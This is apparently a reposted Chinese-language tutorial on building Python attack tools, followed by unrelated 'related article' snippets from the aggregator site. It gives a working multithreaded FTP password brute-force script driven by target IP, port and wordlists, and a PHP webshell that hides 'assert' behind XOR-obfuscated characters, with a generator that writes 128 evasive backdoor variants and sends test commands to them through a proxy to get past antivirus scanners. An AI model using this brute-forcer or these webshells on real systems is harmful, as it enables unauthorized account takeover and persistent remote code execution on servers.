python开发poc2,爆破脚本

#本课知识点和目的:

---协议模块使用,Request 爬虫技术,简易多线程技术,编码技术,Bypass 后门技术

下载ftp服务器模拟器

https://lcba.lanzouy.com/iAMePxl378h

随便创建一个账户,然后登录进去把ip改成和物理机以太网适配器一样的ip

设置好之后关闭,在打开,服务就自动开启了,才可以爆破他

可以正常登录

爆破代码明明木有问题。但是还是报错,这是因为,没有抓取错误,登录爆破失败的时候就开始报错

 

调试了,还能输出正确密码

增加线程

def ftp_bao():while not q.empty():zidian = q.get()#zidian = zidian.split('|')#以|分割成列表username = zidian[0]passwd = zidian[1]ftp = ftplib.FTP()  # 调用ftp登录ftp.connect('192.168.109.1', 21)#确定ip和端口# 登录的ip和端口try:ftp.login(username,passwd)#登陆的账号和密码print(username+'|'+passwd+'yes')except Exception as a:passif __name__ == '__main__':q = queue.Queue()#创建一个队列对象for usern in open('user.txt'): #循环遍历用户名for passfile in open('passwd.txt'):#在每一个用户名都遍历一遍字典usern=usern.strip()#去除干扰符合passfile=passfile.strip()q.put(usern+'|'+passfile)#读取到账户密码都存到一个字典里面.put是发送for x in range(10):#创建十个线程t = threading.Thread(target=ftp_bao())#去执行target=ftp_bao()函数t.start()

这就是以十个线程去执行

以命令行模式运行

最终代码

import ftplib
import threading
import queue
import sys
#简单的模拟爆破
#爆破药品修改,ip,端口。用户名,密码# while not q.empty():
def ftp_bao(ip,port):while not q.empty():zidian = q.get()#zidian = zidian.split('|')#以|分割成列表username = zidian[0]passwd = zidian[1]ftp = ftplib.FTP()  # 调用ftp登录ftp.connect(ip, port)#确定ip和端口# 登录的ip和端口try:ftp.login(username,passwd)#登陆的账号和密码print(username+'|'+passwd+'yes')except Exception as a:passif __name__ == '__main__':ip = sys.argv[1]port = sys.argv[2]username = sys.argv[3]passwd = sys.argv[4]xc = sys.argv[5]q = queue.Queue()#创建一个队列对象for usern in open(username): #循环遍历用户名for passfile in open(passwd):#在每一个用户名都遍历一遍字典usern=usern.strip()#去除干扰符合passfile=passfile.strip()q.put(usern+'|'+passfile)#读取到账户密码都存到一个字典里面.put是发送for x in range(int(xc)):#创建十个线程t = threading.Thread(target=ftp_bao(ip,int(port)))  # 去执行target=ftp_bao()函数t.start()# ftp_bao()

---掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合 Fuzz 吊打 WAF 等 

异或就是把一个字符转换成ascii码值的二进制在,然后和另外同样方式转换的二进制,每一位都对上的如果两个对上的数相同就输出0,不同就输出1,结果就是两个数异或后的值,在转换为ascii码值之后在找到对应的字符,就是异或完最后的结果,这里刚好有一个比较凑巧的结果

("!"^"@")=a     感叹号和艾特异或后等于a

下面这个感觉思路不对,也用不到,就摘抄的别人的

---在PHP study的sqllab的靶场下(注意:PHP的字符串以.连接):

---命令执行函数:eval不能拆分,assert函数可以拆分

---<?php $a=("!"^"@").'ssert';$a($_POST[x]);?>


---尝试连接


---使用安全狗和河马进行病毒查杀(不得不说狗子是真的垃圾):

#原理:

---!的ascii对应十进制33,二进制:00100001

---@对应十进制64,二进制:01000000


---两个二进制异或为:01100001,对应十进制为:97

---十进制对应的ASCII符合为:a

#开发思路

---通过异或运算,分别批量替换a,s,s,e,r,t,进而构造命令执行函数

---1.for循环0-127(ascii范围为[0.127])2.在循环内将ascii值通过chr转换为字符串进行异或2.判断异或后的值是否==a,如果等于则成功3.扩大范围,对assert的6个字符串一起进行异或(我这里添加了一个判断异或后是否等于97即a)

---code="<?php $a="+'('+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+')'+'.'+"'ssert'"+';$a($_POST[x]);?>'


---在test目录生成128个异或的后门文件


---用河马查杀试一下,这尼玛一个也没跑掉全被查出来了

---视频里面上传目录后请求感觉不现实


---如果按照视频里面的思路进行请求(原来post是这样传参的)


#完整代码

import requests

index=0
for i in range(0,128):
    for ii in range(0,128):
        if i^ii==97:
            index+=1
            code="<?php $a="+'('+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+')'+'.'+"'ssert'"+';$a($_POST[x]);?>'
            name=str(i)+'xd'+str(ii)+'.php'
            name='D:/test/'+name
            with open(name,'a+',encoding='utf-8') as f:
                f.write(code)
                f.close()
            print('生成了'+str(index)+"个文件")
            # 如果要进行请求的话
            header = {
                'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'}
            proxy = {'http': '101.200.127.149:3129'}
            data = {'x': 'phpinfo();'}
            try:
                url='http://127.0.0.1:8888/x/'+str(i)+'xd'+str(ii)+'.php'
                result=requests.post(url=url,data=data,headers=header,proxies=proxy,timeout=0.1).content.decode('utf-8')
                if 'System' in result:
                    print(name+'is ok')
            except Exception as e:
                pass 作者:沙漠里的鲸 https://www.bilibili.com/read/cv18093347/ 出处:bilibili

ping

an

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/600780.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RuleEngine规则引擎底层改造AviatorScript 之函数执行

https://gitee.com/aizuda/rule-engine-open 需求&#xff1a;使用上述开源框架进行改造&#xff0c;底层更换成AviatorScript &#xff0c;函数实现改造。 原本实现方式 Overridepublic Object run(ExecuteFunctionRequest executeTestRequest) {Integer functionId executeT…

谷歌关键词优化seo需要怎么做?

如果你想要提升你的网站在谷歌搜索中的排名&#xff0c;我们的指定关键词SEO套餐能够提供你需要的一切 我们会对你的网站进行彻底的技术审查&#xff0c;确保它的加载速度、代码结构、URL布局等都符合谷歌的规范&#xff0c;这是基础&#xff0c;但非常重要&#xff0c;因为一个…

C语言——顺序表

文章目录 一、线性表二、顺序表顺序表和数组的区别顺序表的分类1.静态顺序表2.动态顺序表 三、动态顺序表的实现1.动态顺序表头文件2.动态顺序表源文件3.测试源文件 一、线性表 线性表&#xff08;linear list&#xff09;是n个具有相同特性的数据元素的有限序列。线性表是⼀种…

Unity类银河恶魔城学习记录12-4 p126 Item Tooltip源代码

Alex教程每一P的教程原代码加上我自己的理解初步理解写的注释&#xff0c;可供学习Alex教程的人参考 此代码仅为较上一P有所改变的代码 【Unity教程】从0编程制作类银河恶魔城游戏_哔哩哔哩_bilibili UI.cs using System.Collections; using System.Collections.Generic; usi…

基于单片机便携式测振仪的研制系统设计

**单片机设计介绍&#xff0c;基于单片机便携式测振仪的研制系统设计 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机便携式测振仪的研制系统设计概要主要涉及利用单片机作为核心控制器件&#xff0c;结合测振原理和技术&#x…

LeetCode-162. 寻找峰值【数组 二分查找】

LeetCode-162. 寻找峰值【数组 二分查找】 题目描述&#xff1a;解题思路一&#xff1a;二分查找1.对于任意数组而言&#xff0c;一定存在峰值&#xff08;一定有解&#xff09;&#xff1b;2. 二分不会错过峰值。解题思路二&#xff1a;解题思路三&#xff1a; 题目描述&#…

智能电网将科技拓展至工厂之外的领域

【摘要/前言】 物联网已然颠覆我们日常生活的许多层面。在家居方面&#xff0c;家电变成连网设备&#xff0c;不仅让我们能控制灯光与上网购物&#xff0c;甚至在出门时提供安全功能。在工业领域&#xff0c;智能工厂改变产品制造的方式。工业物联网(IIoT)不仅让制造商更加敏捷…

2014最新AI智能创作系统ChatGPT网站源码,Midjourney绘画网站源码,附搭建部署教程

一、系统前言 SparkAi创作系统是基于ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统&#xff0c;支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;那么如何搭建部署AI创作ChatGPT&#xff1f;小编这里写一个详细图文教程吧。已支持…

探索Flutter混淆在提高应用安全性方面的作用

在移动应用开发中&#xff0c;保护应用代码安全至关重要。Flutter 提供了简单易用的混淆工具&#xff0c;帮助开发者在构建 release 版本应用时有效保护代码。本文将介绍如何在 Flutter 应用中使用混淆&#xff0c;并提供了相关的操作步骤和注意事项。 &#x1f4dd; 摘要 本…

鸡乐盒网页版

前端时间鸡乐盒比较火&#xff0c;当时跟着做了一款鸡乐盒&#xff0c;同时拥有聊天以及音乐播放器功能 链接&#xff1a; 鸡乐盒https://www.jaron.top/app/xiana/pages/musicBox/musicBox

YOLOV9 + 双目测距

YOLOV9 双目测距 1. 环境配置2. 测距流程和原理2.1 测距流程2.2 测距原理 3. 代码部分解析3.1 相机参数stereoconfig.py3.2 测距部分3.3 主代码yolov9-stereo.py 4. 实验结果4.1 测距4.2 视频展示 相关文章 1. YOLOV5 双目测距&#xff08;python&#xff09; 2. YOLOv7双目…

基于springboot的家政服务管理系统(含源码+sql+视频导入教程+文档+PPT)

&#x1f449;文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 基于springboot的家政服务管理系统1拥有三种角色 管理员&#xff1a;用户管理、服务管理、评价管理、预约管理、分配管理等 用户&#xff1a;登录注册、预约服务、取消服务、评价等 服…